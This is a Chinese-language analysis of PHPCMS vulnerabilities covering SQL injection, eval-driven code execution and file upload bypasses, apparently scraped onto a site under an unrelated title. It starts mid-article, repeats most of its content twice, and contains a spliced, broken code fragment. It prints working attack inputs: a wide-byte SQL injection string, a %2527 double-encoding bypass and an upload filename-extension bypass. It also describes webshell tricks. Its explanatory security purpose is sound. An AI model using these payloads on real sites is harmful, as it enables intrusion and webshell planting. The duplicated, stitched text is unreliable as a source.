/phpsso_server/phpcms/modules/phpsso/index.php任意命令執行就是這個(gè)原理。首先上傳頭像,頭像的格式被壓縮為zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函數,首先被解壓,然后判斷為非jpg文件后刪除。攻擊者利用這個(gè)漏洞的過(guò)程中是將webshell保存為jpg中,構造后綴名突破jpg的限制,在文件被上傳解壓后,webshell執行在上層目錄生成一個(gè)新的webshell文件,由此觸發(fā)漏洞。
命令執行漏洞的威脅性極大,在任何代碼審計中,只要代碼中出現了eval,assert等這類(lèi)代碼執行函數后,都有可能出現代碼執行漏洞。并且猛獸理論也應該在被關(guān)注,這樣的邏輯在很多代碼中都會(huì )被用到,其解決的方法即應該在第一步的時(shí)候就處理風(fēng)險,不能將“猛獸放進(jìn)屋來(lái)”。
任意文件上傳漏洞、任意文件下載、任意文件讀取漏洞
這三類(lèi)漏洞是關(guān)于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上傳漏洞主要是因為文件上傳過(guò)程中,文件類(lèi)型的限制不嚴或者因為存在過(guò)濾限制繞過(guò),導致可以上傳一些可執行文件,最終GetShell。該類(lèi)漏洞與代碼執行很相似,最根本就是為了執行上傳文件中的惡意代碼。
其中PHPCMS v9 注冊頁(yè)面任意文件上傳漏洞和PHPCMS v9.6.1 后綴名提取導致任意文件上傳漏洞都是一種采用構造后綴名繞過(guò)限制過(guò)濾的漏洞。第一個(gè)漏洞中的正則要求輸入滿(mǎn)足src/href=url.(gif|jpg|jpeg|bmp|png),則構造的(
?。┓线@一格式(這也就是為什么后面要加.jpg的原因)。之后通過(guò)一系列處理,將.jpg去掉,那么最后文件的后綴就變成了.php成為了可執行文件。
而第二個(gè)漏洞中則因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));處理被繞過(guò),攻擊這可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php來(lái)繞過(guò)過(guò)濾,最終由于apache的文件名解析特性(可以去掉空格)導致上傳文件里php代碼最終被解析執行。所以該類(lèi)漏洞中,都是因為對文件名后綴缺少更嚴謹的處理,導致上傳可執行文件最終導致getshell。
PHPCMS 查看全部
php抓取網(wǎng)頁(yè)數據插入數據庫 CMS真的安全嗎?洞鑒PHPCMS
什么是PHPCMS
說(shuō)到PHPCMS,就不得不先提一提CMS。CMS全稱(chēng)“Content Management System”,意為“內容管理系統”,內容管理系統是一種位于WEB 前端(Web 服務(wù)器)和后端辦公系統或流程(內容創(chuàng )作、編輯)之間的軟件系統。內容的創(chuàng )作人員、編輯人員、發(fā)布人員使用內容管理系統來(lái)提交、修改、審批、發(fā)布內容。
這里指的“內容”可能包括文件、表格、圖片、數據庫中的數據甚至視頻等一切你想要發(fā)布到Internet、Intranet以及Extranet網(wǎng)站的信息。內容管理還可選地提供內容抓取工具,將第三方信息來(lái)源,比如將文本文件、HTML網(wǎng)頁(yè)、Web服務(wù)、關(guān)系數據庫等的內容自動(dòng)抓取,并經(jīng)分析處理后放到自身的內容庫中。
隨著(zhù)個(gè)性化的發(fā)展,內容管理還輔助WEB前端將內容以個(gè)性化的方式提供給內容使用者,即提供個(gè)性化的門(mén)戶(hù)框架,以基于WEB技術(shù)將內容更好地推送到用戶(hù)的瀏覽器端。
PHPCMS由國內80后知名創(chuàng )業(yè)者鐘勝輝于2005年創(chuàng )辦,是國內知名內容管理系統,它是一款基于 PHP 技術(shù)和 AJAX 技術(shù)的企業(yè)級網(wǎng)站內容管理系統,旨在幫助用戶(hù)解決日益復雜與重要的 Web 內容的創(chuàng )建、維護、發(fā)布和應用。
PHPCMS的創(chuàng )立趕上了CMS蓬勃發(fā)展的時(shí)期,而且它將模塊化開(kāi)發(fā)方式做為功能開(kāi)發(fā)形式,框架易于功能擴展,代碼維護,優(yōu)秀的二次開(kāi)發(fā)能力,可滿(mǎn)足所有網(wǎng)站的應用需求,所以迅速占領(lǐng)了國內的內容管理系統領(lǐng)域的大片領(lǐng)土。
從2005年P(guān)HPCMS第一版創(chuàng )立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均贏(yíng)得了市場(chǎng)好評,最終在2010年盛大在線(xiàn)收購PHPCMS后,PHPCMS推出了主線(xiàn)產(chǎn)品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍為現在國內領(lǐng)先的內容管理系統,是各大站長(cháng)建站的首選。
根據全網(wǎng)數據統計,使用PHPCMS的網(wǎng)站多達4萬(wàn)多個(gè),其中大部分集中在國內,共有約3萬(wàn)余個(gè),占使用量的75%以上,同時(shí),PHPCMS在教育行業(yè)約有上千個(gè)網(wǎng)站使用,在政府部門(mén)的網(wǎng)站中,也有上百個(gè)網(wǎng)站使用,其他則用于商業(yè)用途,具體分布如下圖:
從圖中可以看出,PHPCMS的使用范圍較廣,其中在政府部門(mén)中不乏市縣級政府這樣的客戶(hù);教育行業(yè)內,也不乏國內大學(xué)的校級、院系官網(wǎng)使用PHPCMS作為其發(fā)布信息的官方主頁(yè);商業(yè)用途中,PHPCMS也備受中小型企業(yè)的青睞。
PHPCMS的版本更新迭代速度以及功能齊全等特性也為其快速擴張提供發(fā)展基礎。但是,PHPCMS安全嗎?
PHPCMS安全嗎?
根據千里目實(shí)驗室漏洞庫的統計,PHPCMS從創(chuàng )辦到如今近十三年,產(chǎn)品三大版本的漏洞總量高達100余個(gè),其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40個(gè),在40個(gè)漏洞之中,全網(wǎng)公布的高可利用性漏洞個(gè)數也高達兩位數,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直備受廣大用戶(hù)的質(zhì)疑。
經(jīng)過(guò)對PHPCMS高危漏洞的分析整理以及統計,PHPCMS的高危漏洞類(lèi)型主要有以下五類(lèi):SQL注入類(lèi)、命令執行類(lèi)、任意文件上傳類(lèi)、任意文件下載類(lèi)、任意文件讀取類(lèi)。其中SQL注入問(wèn)題是最為嚴重的一類(lèi),不管數量還是威脅性都是其中最高的,5類(lèi)漏洞的數量具體分布占比如下圖。接下來(lái)按照這些漏洞中威脅性最高的五類(lèi)漏洞來(lái)介紹PHPCMS的經(jīng)典漏洞,以及漏洞間的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架層面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入問(wèn)題比PHPCMS 2008要嚴重很多,這是為什么?
首先從PHPCMS的框架上分析了這個(gè)問(wèn)題的原因。PHPCMS2008中對GPC變量的處理, 是在
include/common.inc.php中使用$db->escape($_GET)對輸入變量進(jìn)行轉義,實(shí)質(zhì)上是調用了
mysql_real_escape_string,PHP手冊上對這個(gè)函數的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函數將 unescaped_string中的特殊字符轉義,并考慮到連接的當前字符集,因此可以安全用于 mysql_query()
也就是說(shuō)PHPCMS 2008中使用mysql_real_escape_string對輸入變量進(jìn)行處理,是可以達到防注入效果的,PHPCMS2008中這樣的處理方式是比較安全的,但是也有其不合理的一面,原因在于:入口中對所有變量進(jìn)行mysql_real_escape_string處理,顯然并不是所有變量需要入庫,這樣處理必須影響性能(連接mysql->發(fā)送變量至mysql server ->mysql server轉義->返回給PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其實(shí)就是調用了PHP內置的addslashes對GPC變量添加轉義斜線(xiàn),這就相當于php.ini中打開(kāi)了magic_quotes_gpc選項,PHP手冊中對magic_quotes_gpc的處理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
從PHP 5.4.0開(kāi)始,已經(jīng)不支持magic_quotes_gpc了,這是為什么?
(1)性能:由于并不是每一段被轉義的數據都要插入數據庫的,如果所有進(jìn)入 PHP 的數據都被轉義的話(huà),那么會(huì )對程序的執行效率產(chǎn)生一定的影響。
(2)方便性:由于不是所有數據都需要轉義,在不需要轉義的地方看到轉義的數據就很煩。比如說(shuō)通過(guò)表單發(fā)送郵件,結果看到一大堆的 \'。
(3)安全問(wèn)題:事實(shí)上addslashes或開(kāi)啟magic_quotes_gpc并不能完全杜絕SQL注入。因為addslashes對有些特殊字符后跟上'(單引號)并不會(huì )加把這個(gè)'變成/',如:0xbf27的字就不會(huì ),所以縗' OR 1 limit 1/* 這個(gè)就存在。
針對這個(gè)問(wèn)題,PDO擴展而生,它主要解決兩個(gè)問(wèn)題:批量查詢(xún)時(shí)使用prepare提升查詢(xún)性能,使用參數化查詢(xún)從根本上杜絕SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依舊使用以下代碼,所這就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞層面分析
從具體的漏洞來(lái)看,PHPCMS代碼中出現的SQL注入點(diǎn)主要有三種情況:
第一種情況,即外部可控參數未進(jìn)行任何過(guò)濾,這種問(wèn)題是因為系統設計人員代碼設計的不嚴謹導致。其中最經(jīng)典的PHPCMS v9 前臺用戶(hù)登錄處SQL注入漏洞產(chǎn)生即是因為這個(gè)原因:用戶(hù)在登錄頁(yè)面輸入用戶(hù)名與密碼,在\phpcms\modules\member\index.php的login方法中,username使用的is_username進(jìn)行了過(guò)濾而password沒(méi)有做任何處理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陸js代碼
所以,Password就成為了一個(gè)注入點(diǎn)。輸入的username以及password被傳到phpsso模塊中進(jìn)行認證,而phpsso模塊并沒(méi)有解析過(guò)濾用戶(hù)名與密碼就直接進(jìn)行認證,認證后直接將信息返回到登錄頁(yè)面的login方法中。
第二種情況也是SQL注入中的經(jīng)典情形,即代碼中處理外部輸入數據的時(shí)候使用了urldecode()函數。比如單引號被 urlencode 兩次以后是 %2527,然后 POST。PHP 內部在生成全局變量 $_POST 的時(shí)候會(huì )先 urldecode,得到 %27,然后 PHP 會(huì )檢查 Magic Quotes 的設置,但是無(wú)論是否開(kāi)啟 Magic Quotes,%27 都不會(huì )被 addslashes,因為這時(shí)根本沒(méi)有單引號。
但是這時(shí)如果你在 PHP 代碼中畫(huà)蛇添足的加上 urldecode,%27就變成單引號了,這樣就成功繞過(guò)了,這種情況出現的根源在于之前分析的PHPCMS使用magic_quotes_gpc這種方式來(lái)處理外部數據。
PHPCMS V9 WAP SQL注入漏洞即是因為這種情況:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('參數錯誤');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
這段代碼中在處理外部可控參數commentid的時(shí)候,使用了urldecode()函數,最終可以采用%2527的方式來(lái)進(jìn)行過(guò)濾繞過(guò)。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id傳入sql查詢(xún)語(yǔ)句
在函數中,代碼通過(guò)GET獲取'a_k'值,并調用sys_auth函數進(jìn)行解密,然后使用parse_str()來(lái)解析解密后的$a_k參數,將字符串解析到變量中,并同時(shí)解碼。在parse_str()解析的過(guò)程中,就將之前構造好的SQL注入paylaod賦值到各個(gè)參數,并且繞過(guò)了所有限制。
這個(gè)漏洞利用還有另一個(gè)關(guān)口,就是需要將payload使用sys_auth加密,同樣,PHPCMS一個(gè)任意文件下載漏洞也是這個(gè)原理:構造payload—>sys_auth加密—>帶入到phpcms\modules\content\
down.php文件init函數中—>進(jìn)行解碼并parse_str()解析,payload通過(guò)這種方式可以繞過(guò)所有過(guò)濾關(guān)口,最終成功觸發(fā)。
從之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入問(wèn)題就在于程序員對待代碼邏輯的不嚴謹,缺少對外部可控參數的過(guò)濾或者說(shuō)是缺少完全的過(guò)濾驗證過(guò)程,PHP是很靈活的語(yǔ)言,其代碼的邏輯嚴謹程度即代表著(zhù)它的安全性高低!
命令執行漏洞
命令執行是一類(lèi)威脅性非常大的漏洞類(lèi)型,大多數“一鍋端”(能夠getshell,控制全站)漏洞都是命令執行漏洞。由之前的漏洞數量分布可知,命令執行問(wèn)題的數量?jì)H次于SQL注入,但是它的嚴重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令執行漏洞大部分都是由于一個(gè)函數,即global.func.php中的string2array()函數,函數代碼如下:
/**
* 將字符串轉換為數組
*
* @param string $data 字符串
* @return array 返回數組格式,如果,data為空,則返回空數組
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
該函數中使用了eval函數,這就代表所有調用這個(gè)函數的地方,如果存在過(guò)濾不嚴的情況,都會(huì )出現嚴重的命令執行漏洞。當然,我們不用懷疑程序員寫(xiě)BUG的能力,PHPCMS中多個(gè)命令執行漏洞都是因為外部參數未進(jìn)行嚴格過(guò)濾,就直接帶進(jìn)了string2array()中進(jìn)行處理,所以最終觸發(fā)了漏洞。
其中最經(jīng)典的一個(gè)漏洞PHPCMS 2008任意代碼執行漏洞,該漏洞利用門(mén)檻之低讓人大跌眼鏡,漏洞的出處就在yp/web/include/common.inc.php的menu變量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu參數是一個(gè)外部可控參數,該參數被被傳進(jìn)后臺之后未經(jīng)過(guò)任何處理以及限制,導致在string2array()函數中直接被eval函數執行,導致遠程代碼執行漏洞。
而這個(gè)函數從PHPCMS 2008到PHPCMS V9一直都存在,而該系統程序員也只是在之后每一個(gè)調用此函數的地方都先對傳入參數進(jìn)行過(guò)濾或者限制,但是任何過(guò)濾限制都有被繞過(guò)的可能,之后的事實(shí)證明確實(shí)如此,比如之后再V9版本出現的PHPCMS V9 phpcms\
modules\dbsource\data.php出現的遠程命令執行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代碼執行漏洞等均是因為這個(gè)原因。
所以,防止PHP程序出現代碼執行漏洞有一條金科玉律:永遠不要在代碼中使用eval。
因為,很少有人能夠掌控住這個(gè)函數,一旦控制不住,可能就會(huì )出現一個(gè)“一鍋端”的命令執行漏洞。
另外PHPCMS中出現的一個(gè)PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代碼執行漏洞,它的思想很特別、也很典型。該漏洞中存在的一個(gè)猛獸理論值得很多程序員以及安全研究人員來(lái)認真研究的?!懊瞳F來(lái)了,我們應該將其絕殺在門(mén)外,但是有些人非得把它放進(jìn)屋內,才殺之,你們難道不知道猛獸的嘴里可能叼了一個(gè)炸藥包嗎? 砰!!!結果全都玩完了…”。下面用具體代碼來(lái)解釋這個(gè)理論。
其中:
猛獸放進(jìn)室內:copy($_GET['src'],$_GET['dst']);
這條猛獸不安全,殺之:unlink($_GET['dst']);
炸藥包:$_GET['dst'] 此炸藥包的作用是生成惡意文件。
這段代碼中存在缺陷的地方就是將“猛獸”放進(jìn)市內的地方:
copy($_GET['src'],$_GET['dst']);
可將任意文件copy成惡意文件,如木馬,后來(lái)發(fā)現這個(gè)文件不安全,然后使用unlink將之刪除...,但是,有種可能就是木馬在刪除之前,生成了新的木馬文件,結果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令執行就是這個(gè)原理。首先上傳頭像,頭像的格式被壓縮為zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函數,首先被解壓,然后判斷為非jpg文件后刪除。攻擊者利用這個(gè)漏洞的過(guò)程中是將webshell保存為jpg中,構造后綴名突破jpg的限制,在文件被上傳解壓后,webshell執行在上層目錄生成一個(gè)新的webshell文件,由此觸發(fā)漏洞。
命令執行漏洞的威脅性極大,在任何代碼審計中,只要代碼中出現了eval,assert等這類(lèi)代碼執行函數后,都有可能出現代碼執行漏洞。并且猛獸理論也應該在被關(guān)注,這樣的邏輯在很多代碼中都會(huì )被用到,其解決的方法即應該在第一步的時(shí)候就處理風(fēng)險,不能將“猛獸放進(jìn)屋來(lái)”。
任意文件上傳漏洞、任意文件下載、任意文件讀取漏洞
這三類(lèi)漏洞是關(guān)于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上傳漏洞主要是因為文件上傳過(guò)程中,文件類(lèi)型的限制不嚴或者因為存在過(guò)濾限制繞過(guò),導致可以上傳一些可執行文件,最終GetShell。該類(lèi)漏洞與代碼執行很相似,最根本就是為了執行上傳文件中的惡意代碼。
其中PHPCMS v9 注冊頁(yè)面任意文件上傳漏洞和PHPCMS v9.6.1 后綴名提取導致任意文件上傳漏洞都是一種采用構造后綴名繞過(guò)限制過(guò)濾的漏洞。第一個(gè)漏洞中的正則要求輸入滿(mǎn)足src/href=url.(gif|jpg|jpeg|bmp|png),則構造的(
?。┓线@一格式(這也就是為什么后面要加.jpg的原因)。之后通過(guò)一系列處理,將.jpg去掉,那么最后文件的后綴就變成了.php成為了可執行文件。
而第二個(gè)漏洞中則因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));處理被繞過(guò),攻擊這可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php來(lái)繞過(guò)過(guò)濾,最終由于apache的文件名解析特性(可以去掉空格)導致上傳文件里php代碼最終被解析執行。所以該類(lèi)漏洞中,都是因為對文件名后綴缺少更嚴謹的處理,導致上傳可執行文件最終導致getshell。
PHPCMS
php抓取網(wǎng)頁(yè)數據插入數據庫 CMS真的安全嗎?洞鑒PHPCMS
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 79 次瀏覽 ? 2022-06-11 10:13
什么是PHPCMS
說(shuō)到PHPCMS,就不得不先提一提CMS。CMS全稱(chēng)“Content Management System”,意為“內容管理系統”,內容管理系統是一種位于WEB 前端(Web 服務(wù)器)和后端辦公系統或流程(內容創(chuàng )作、編輯)之間的軟件系統。內容的創(chuàng )作人員、編輯人員、發(fā)布人員使用內容管理系統來(lái)提交、修改、審批、發(fā)布內容。
這里指的“內容”可能包括文件、表格、圖片、數據庫中的數據甚至視頻等一切你想要發(fā)布到Internet、Intranet以及Extranet網(wǎng)站的信息。內容管理還可選地提供內容抓取工具,將第三方信息來(lái)源,比如將文本文件、HTML網(wǎng)頁(yè)、Web服務(wù)、關(guān)系數據庫等的內容自動(dòng)抓取,并經(jīng)分析處理后放到自身的內容庫中。
隨著(zhù)個(gè)性化的發(fā)展,內容管理還輔助WEB前端將內容以個(gè)性化的方式提供給內容使用者,即提供個(gè)性化的門(mén)戶(hù)框架,以基于WEB技術(shù)將內容更好地推送到用戶(hù)的瀏覽器端。
PHPCMS由國內80后知名創(chuàng )業(yè)者鐘勝輝于2005年創(chuàng )辦,是國內知名內容管理系統,它是一款基于 PHP 技術(shù)和 AJAX 技術(shù)的企業(yè)級網(wǎng)站內容管理系統,旨在幫助用戶(hù)解決日益復雜與重要的 Web 內容的創(chuàng )建、維護、發(fā)布和應用。
PHPCMS的創(chuàng )立趕上了CMS蓬勃發(fā)展的時(shí)期,而且它將模塊化開(kāi)發(fā)方式做為功能開(kāi)發(fā)形式,框架易于功能擴展,代碼維護,優(yōu)秀的二次開(kāi)發(fā)能力,可滿(mǎn)足所有網(wǎng)站的應用需求,所以迅速占領(lǐng)了國內的內容管理系統領(lǐng)域的大片領(lǐng)土。
從2005年P(guān)HPCMS第一版創(chuàng )立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均贏(yíng)得了市場(chǎng)好評,最終在2010年盛大在線(xiàn)收購PHPCMS后,PHPCMS推出了主線(xiàn)產(chǎn)品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍為現在國內領(lǐng)先的內容管理系統,是各大站長(cháng)建站的首選。
根據全網(wǎng)數據統計,使用PHPCMS的網(wǎng)站多達4萬(wàn)多個(gè),其中大部分集中在國內,共有約3萬(wàn)余個(gè),占使用量的75%以上,同時(shí),PHPCMS在教育行業(yè)約有上千個(gè)網(wǎng)站使用,在政府部門(mén)的網(wǎng)站中,也有上百個(gè)網(wǎng)站使用,其他則用于商業(yè)用途,具體分布如下圖:
從圖中可以看出,PHPCMS的使用范圍較廣,其中在政府部門(mén)中不乏市縣級政府這樣的客戶(hù);教育行業(yè)內,也不乏國內大學(xué)的校級、院系官網(wǎng)使用PHPCMS作為其發(fā)布信息的官方主頁(yè);商業(yè)用途中,PHPCMS也備受中小型企業(yè)的青睞。
PHPCMS的版本更新迭代速度以及功能齊全等特性也為其快速擴張提供發(fā)展基礎。但是,PHPCMS安全嗎?
PHPCMS安全嗎?
根據千里目實(shí)驗室漏洞庫的統計,PHPCMS從創(chuàng )辦到如今近十三年,產(chǎn)品三大版本的漏洞總量高達100余個(gè),其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40個(gè),在40個(gè)漏洞之中,全網(wǎng)公布的高可利用性漏洞個(gè)數也高達兩位數,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直備受廣大用戶(hù)的質(zhì)疑。
經(jīng)過(guò)對PHPCMS高危漏洞的分析整理以及統計,PHPCMS的高危漏洞類(lèi)型主要有以下五類(lèi):SQL注入類(lèi)、命令執行類(lèi)、任意文件上傳類(lèi)、任意文件下載類(lèi)、任意文件讀取類(lèi)。其中SQL注入問(wèn)題是最為嚴重的一類(lèi),不管數量還是威脅性都是其中最高的,5類(lèi)漏洞的數量具體分布占比如下圖。接下來(lái)按照這些漏洞中威脅性最高的五類(lèi)漏洞來(lái)介紹PHPCMS的經(jīng)典漏洞,以及漏洞間的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架層面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入問(wèn)題比PHPCMS 2008要嚴重很多,這是為什么?
首先從PHPCMS的框架上分析了這個(gè)問(wèn)題的原因。PHPCMS2008中對GPC變量的處理, 是在
include/common.inc.php中使用$db->escape($_GET)對輸入變量進(jìn)行轉義,實(shí)質(zhì)上是調用了
mysql_real_escape_string,PHP手冊上對這個(gè)函數的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函數將 unescaped_string中的特殊字符轉義,并考慮到連接的當前字符集,因此可以安全用于 mysql_query()
也就是說(shuō)PHPCMS 2008中使用mysql_real_escape_string對輸入變量進(jìn)行處理,是可以達到防注入效果的,PHPCMS2008中這樣的處理方式是比較安全的,但是也有其不合理的一面,原因在于:入口中對所有變量進(jìn)行mysql_real_escape_string處理,顯然并不是所有變量需要入庫,這樣處理必須影響性能(連接mysql->發(fā)送變量至mysql server ->mysql server轉義->返回給PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其實(shí)就是調用了PHP內置的addslashes對GPC變量添加轉義斜線(xiàn),這就相當于php.ini中打開(kāi)了magic_quotes_gpc選項,PHP手冊中對magic_quotes_gpc的處理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
從PHP 5.4.0開(kāi)始,已經(jīng)不支持magic_quotes_gpc了,這是為什么?
(1)性能:由于并不是每一段被轉義的數據都要插入數據庫的,如果所有進(jìn)入 PHP 的數據都被轉義的話(huà),那么會(huì )對程序的執行效率產(chǎn)生一定的影響。
(2)方便性:由于不是所有數據都需要轉義,在不需要轉義的地方看到轉義的數據就很煩。比如說(shuō)通過(guò)表單發(fā)送郵件,結果看到一大堆的 \'。
(3)安全問(wèn)題:事實(shí)上addslashes或開(kāi)啟magic_quotes_gpc并不能完全杜絕SQL注入。因為addslashes對有些特殊字符后跟上'(單引號)并不會(huì )加把這個(gè)'變成/',如:0xbf27的字就不會(huì ),所以縗' OR 1 limit 1/* 這個(gè)就存在。
針對這個(gè)問(wèn)題,PDO擴展而生,它主要解決兩個(gè)問(wèn)題:批量查詢(xún)時(shí)使用prepare提升查詢(xún)性能,使用參數化查詢(xún)從根本上杜絕SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依舊使用以下代碼,所這就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞層面分析
從具體的漏洞來(lái)看,PHPCMS代碼中出現的SQL注入點(diǎn)主要有三種情況:
第一種情況,即外部可控參數未進(jìn)行任何過(guò)濾,這種問(wèn)題是因為系統設計人員代碼設計的不嚴謹導致。其中最經(jīng)典的PHPCMS v9 前臺用戶(hù)登錄處SQL注入漏洞產(chǎn)生即是因為這個(gè)原因:用戶(hù)在登錄頁(yè)面輸入用戶(hù)名與密碼,在\phpcms\modules\member\index.php的login方法中,username使用的is_username進(jìn)行了過(guò)濾而password沒(méi)有做任何處理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陸js代碼
所以,Password就成為了一個(gè)注入點(diǎn)。輸入的username以及password被傳到phpsso模塊中進(jìn)行認證,而phpsso模塊并沒(méi)有解析過(guò)濾用戶(hù)名與密碼就直接進(jìn)行認證,認證后直接將信息返回到登錄頁(yè)面的login方法中。
第二種情況也是SQL注入中的經(jīng)典情形,即代碼中處理外部輸入數據的時(shí)候使用了urldecode()函數。比如單引號被 urlencode 兩次以后是 %2527,然后 POST。PHP 內部在生成全局變量 $_POST 的時(shí)候會(huì )先 urldecode,得到 %27,然后 PHP 會(huì )檢查 Magic Quotes 的設置,但是無(wú)論是否開(kāi)啟 Magic Quotes,%27 都不會(huì )被 addslashes,因為這時(shí)根本沒(méi)有單引號。
但是這時(shí)如果你在 PHP 代碼中畫(huà)蛇添足的加上 urldecode,%27就變成單引號了,這樣就成功繞過(guò)了,這種情況出現的根源在于之前分析的PHPCMS使用magic_quotes_gpc這種方式來(lái)處理外部數據。
PHPCMS V9 WAP SQL注入漏洞即是因為這種情況:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('參數錯誤');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
這段代碼中在處理外部可控參數commentid的時(shí)候,使用了urldecode()函數,最終可以采用%2527的方式來(lái)進(jìn)行過(guò)濾繞過(guò)。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id傳入sql查詢(xún)語(yǔ)句
在函數中,代碼通過(guò)GET獲取'a_k'值,并調用sys_auth函數進(jìn)行解密,然后使用parse_str()來(lái)解析解密后的$a_k參數,將字符串解析到變量中,并同時(shí)解碼。在parse_str()解析的過(guò)程中,就將之前構造好的SQL注入paylaod賦值到各個(gè)參數,并且繞過(guò)了所有限制。
這個(gè)漏洞利用還有另一個(gè)關(guān)口,就是需要將payload使用sys_auth加密,同樣,PHPCMS一個(gè)任意文件下載漏洞也是這個(gè)原理:構造payload—>sys_auth加密—>帶入到phpcms\modules\content\
down.php文件init函數中—>進(jìn)行解碼并parse_str()解析,payload通過(guò)這種方式可以繞過(guò)所有過(guò)濾關(guān)口,最終成功觸發(fā)。
